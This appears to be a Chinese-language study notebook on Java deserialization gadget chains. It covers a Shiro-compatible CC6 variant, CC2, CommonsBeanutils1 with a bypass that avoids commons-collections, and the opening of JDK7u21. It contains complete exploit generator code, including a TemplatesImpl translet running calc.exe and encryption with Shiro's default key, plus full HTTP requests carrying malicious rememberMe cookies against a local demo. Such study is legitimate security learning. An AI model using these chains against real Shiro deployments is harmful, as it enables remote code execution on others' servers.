在shiro里,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此CommonsCollections6无法利用,因为其中用到了Transformer数组,现在我们需要思考一种不含数组的Gadget,之前我们学习CC3的时候,其实还是用到了TemplatesImpl和InvokerTransformer,因此需要用到Transformer数组,所以仍然打不通。
这里我们可以学习wh1s3p1g的打法,那就是CC6里的TiedMapEntry,当时我们只关注了它的构造方法,以及使用getValue触发get:
当时我们的key是随便传的,而现在由于不能使用数组,ChainedTransformer是用不了了,我们该怎么实现恶意对象与恶意对象之间的连接呢?非常恰好,getValue会触发this.map.get(this.key)
,而当我们传入一个LazyMap,LazyMap的get方法实际上直接对key进行了transform:
那么之前CC6链子的代码这里其实可以简化:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
我们其实完全不需要 new ConstantTransformer(obj)
这一步,只需要把恶意对象传入作为key就可以了,那么现在的数组长度变成了1,自然也不需要数组了。
首先,我们参考cc3构造TemplatesImpl 的链子:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
接着接入cc3的链子,但注意这里我们需要写一个恶意类,因为是要放入TemplatesImpl加载,所以得继承AbstractTranslet:
package shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws IOException {
super();
Runtime.getRuntime().exec("calc.exe");
}
}
这里用到了javassist
,这是一个字节码操纵的第三方库,可以帮助我们将恶意类生成字节码再交给 TemplatesImpl:
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
最后完整的代码如下:
package shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class attack2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// faketransformer防止构造时触发
Transformer faketransformer = new InvokerTransformer("getClass", null, null);
// CC6pro
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, faketransformer);
// key传入恶意TemplatesImpl对象
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
HashMap expMap = new HashMap();
expMap.put(tme, "value");
outerMap.clear();
//将faketransformer改造,iMethodName换成newTransformer触发链子
setFieldValue(faketransformer, "iMethodName", "newTransformer");
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// shiro数据生成
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}
最后发包即可,注意cookie里不要带那个jsessionid:
GET /shirodemo_war/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://localhost:8080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://localhost:8080/shirodemo_war/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A
Cookie: rememberMe=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
Upgrade-Insecure-Requests: 1
Priority: u=0, i
CommonsCollections4
Apache Commons Collections有两个分⽀版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
前者是老的包,版本号是3.2.1,后者是2013年推出的新版本,版本号是4.0。对于我们安全研究员而言,最大的区别就是 LazyMap.decorate
没了,被换成了 LazyMap.lazyMap
,因此也就是换个名字的事儿,CC3的链子换一下名字也还是能打通,包括CC1和CC3。
而yso为 org.apache.commons:commons-collections4 准备了两条新的利用链,那就是CC2和CC4,在CC里找Gadget,其实能直接抽象成从 Serializable#readObject()
寻找到 Transformer#transform()
调用链的过程,而当我们看到yso的CC2的Gadget,可以看到它是通过 PriorityQueue
和 TransformingComparator
实现的这个过程:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
首先, TransformingComparator
的 compare
方法调用了 transform:
而 java.util.PriorityQueue
,它有一个自己的 readObject()
,其中调用了 heapify
:
我们再跟一下这个 heapify
,它调用了 siftDown
:
再跟这个 siftDown
,它调用了 siftDownUsingComparator
:
而这个 siftDownUsingComparator
就调用了 compare
,非常美妙,直接串起来了
现在开始愉快的编写POC,首先和之前一样创建transformer:
Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"calc.exe"}),
new ConstantTransformer(1) };
// 传入fake防止序列化时执行
Transformer transformerChain = new ChainedTransformer(faketransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
接着创建一个 comparator,把 transformerChain 传进去
Comparator comparator = new TransformingComparator(transformerChain);
接着实例化 PriorityQueue,注意,因为 compare 需要在两个东西之间比较,所以自然也需要传入两个单位,第一个参数随便写就行,第二个参数写我们的comparator,这样在comparator.compare的时候,就会触发 TransformingComparator#transform
,然后随便加两个数字进去来填充这个优先队列:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
最后设置恶意 transformer 即可:
setFieldValue(transformerChain, "iTransformers", transformers);
当然,这里我们也不妨思考一下如何构造一个无数组的利用链,这样就能用在shiro里也打通了。
首先创建 TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
接着创建人畜无害的 InvokerTransformer
,用它对Comparator实例化:
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
然后实例化 PriorityQueue
,添加恶意的 TemplatesImpl
对象 :
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(obj);
queue.add(obj);
为什么这里使用 queue.add(obj)
而不是add(1)呢?因为我们使用 TemplatesImpl
取代了 ChainedTransformer
,那如何接受我们构造的obj呢?其实在 Comparator#compare()
时,队列⾥的元素将作为参数传⼊ transform()
⽅法,这就是传给 TemplatesImpl#newTransformer
的参数,所以我们最后传入 TemplatesImpl
对象,就会成功进入 TemplatesImpl#newTransformer
进而触发链子:
最后完整代码:
package com.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class newCC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 无害transformer防止构造时触发
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
CommonsBeanutils1
Apache Commons BeanUtils 是一个 Java 工具库,主要用来简化操作 JavaBean 的过程,比如:
- 快速设置/获取 JavaBean 的属性
- 支持通过字符串动态设置属性(甚至嵌套对象的属性)
- 复制对象的属性到另一个对象
- 类型转换(比如把字符串
"123"
转成 int)
而它提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,这里我下了一个1.8.3的,然后补了一个commons-logging-1.2.jar,比如下面这个代码例子:
我们首先创建一个Cat.java:
package com.CB;
public class Cat {
private String name = "胖宝宝";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
然后再写一个getPropertyTest.java,我们直接使用 PropertyUtils
来调用 getter 获取 Cat 里的 name 属性(但注意,如果那个类里没写 getXxx()
,它是取不到的):
package com.CB;
import org.apache.commons.beanutils.PropertyUtils;
public class getPropertyTest {
public static void main(String[] args) throws Exception {
System.out.println(PropertyUtils.getProperty(new Cat(), "name"));
}
}
回到今天的主题 CB 链,我们的入口点其实还是 PriorityQueue
,因为它在反序列化后为了保证有序会自动调用一次比较器的 compare
,而CB链本身其实就是想一个新的方法利用 java.util.Comparator
,思考如何触发 transform
执行恶意代码,而 CB 链中我们的触发点就在 org.apache.commons.beanutils.BeanComparator
,这就是 commons-beanutils
提供的比较两个JavaBean是否相等的类,里面有一个 java.util.Comparator
接口:
简单分析一下逻辑,如果property不为null,那么就会执行 PropertyUtils.getProperty
调用JavaBean的getter方法去获取值进行 compare
,现在我们实际上就能对任意方法进行 get 调用,那有没有什么 get 方法能执行恶意代码呢?有的,那就是我们熟悉的 TemplatesImpl
,其实在 TemplatesImpl#newTransformer()
的上面还有一层,那就是 TemplatesImpl#getOutputProperties()
,它可是能调用 newTransformer
的,而它是符合JavaBean的getter的定义的,当然也能被我们利用上:
此时对于 PropertyUtils.getProperty(o1, this.property)
,只要 o1 是一个 TemplatesImpl
,this.property
是 OutputProperties
,那么就会自动调用 getOutputProperties
,从而执行代码,这也就能接上我们之前的 CC2 链子了。
老套路,首先创建 TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
接着实例化一个 BeanComparator
:
final BeanComparator comparator = new BeanComparator();
然后用这个 comparator
实例化优先队列 PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
这里我们需要把 TemplatesImpl
对象传入 PriorityQueue
的 queue
,把 BeanComparator
传入 PriorityQueue
的 comparator
,这样当我们把 property
传值为 outputProperties
,就会调用 getProperty
从而触发 TemplatesImpl#getOutputProperties()
进入到利用链:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
完整的代码:
package com.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
现在我们来思考如何在shiro里利用CB1链,我们看p神的shiro demo里,其实是有一个 CC 依赖的,我们先点右边的maven:
再点一下shirodemo就看到了,有一个CC 3.2.1:
这里我们去 pom.xml 里把这个依赖删了:
再打开,就可以看到原本的CC 3.2.1没了,多了一个 CB 1.8.3
因此其实一般的shiro环境是没有CC的,想打通只能靠 CB ,但想要直接靠我们之前的poc打通有几个坑点,这里p神也说明了,首先CB版本必须一致:
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方 的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患
其次,CB反序列化的时候其实也依靠了CC,但shiro里的CC只有一部分,不是全的,所以我们之前的链子直接打打不通,如果你直接打,会出现报错:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
我们来查找一下这个 ComparableComparator
,可以发现是在实例化的时候,如果我们没有给他传入comparator,就会调用这个 ComparableComparator
:
那么我们只需要找一个 ComparableComparator
的平替即可,它得满足:
- 实现 java.util.Comparator接口
- 实现 java.io.Serializable接口
- Java、shiro或commons-beanutils自带,且兼容性强
在 Windows 系统中,IntelliJ IDEA 中用于查找接口实现类的快捷键是 Ctrl + Alt + B
,当我们将光标放在接口名称或方法上时,按下此组合键,IDE 会显示所有实现该接口或方法的类列表,我们在这里可以找到一个符合该要求的目标 CaseInsensitiveComparator
:
我们看一下它的实现,它是 java.lang.String
类下的一个内部私有类,并且实现了 Comparator
和 Serializable
,是我们的完美替代品:
在它的上面,可以看到一行 public static final Comparator<String> CASE_INSENSITIVE_ORDER
:
= new CaseInsensitiveComparator();
这个 CASE_INSENSITIVE_ORDER
是一个 public static final
字段,直接持有了一个 CaseInsensitiveComparator
的实例,所以任何地方都可以直接通过 String.CASE_INSENSITIVE_ORDER
拿到这个已经 new 好的对象实例,因此我们只需要在实例化 BeanComparator
的时候传一个 String.CASE_INSENSITIVE_ORDER
即可绕过对于CC的依赖:
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
还要注意,因为现在这个东西是string与string之间的比较,所以我们得传两个”1″,现在完整的代码如下:
package com.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class NewCB1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
// shiro数据生成
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object) ois.readObject();
}
}
GET /shirodemo_war/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: rememberMe=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
Content-Length: 50
Upgrade-Insecure-Requests: 1
Priority: u=0, i
原生反序列化利用链 JDK7u21
上面学习了那么多链子,我们肯定会情不自禁的思考,有没有一种链子不需要依赖就能打通呢?事实上还真有,在<=Java 7u21的版本下,确实存在一条原生的反序列化链子,这里我们首先去下一份JDK7u21,来看看这条原生的反序列化链是怎么个事儿。
反序列化链的核心在哪里呢?核心其实在于如何触发动态方法执行,比如CC链的核心其实在于 Transformer
,比如我们的老朋友 InvokerTransformer
、 InstantiateTransformer
等等,CB链的核心在于 PropertyUtils#getProperty
,它会触发getter,导致我们可以触发 TemplatesImpl#getOutputProperties()
从而触发 newTransformer
执行 TemplatesImpl
链子。而我们现在的目标,原生JDK7u21的核心点在于 sun.reflect.annotation.AnnotationInvocationHandler
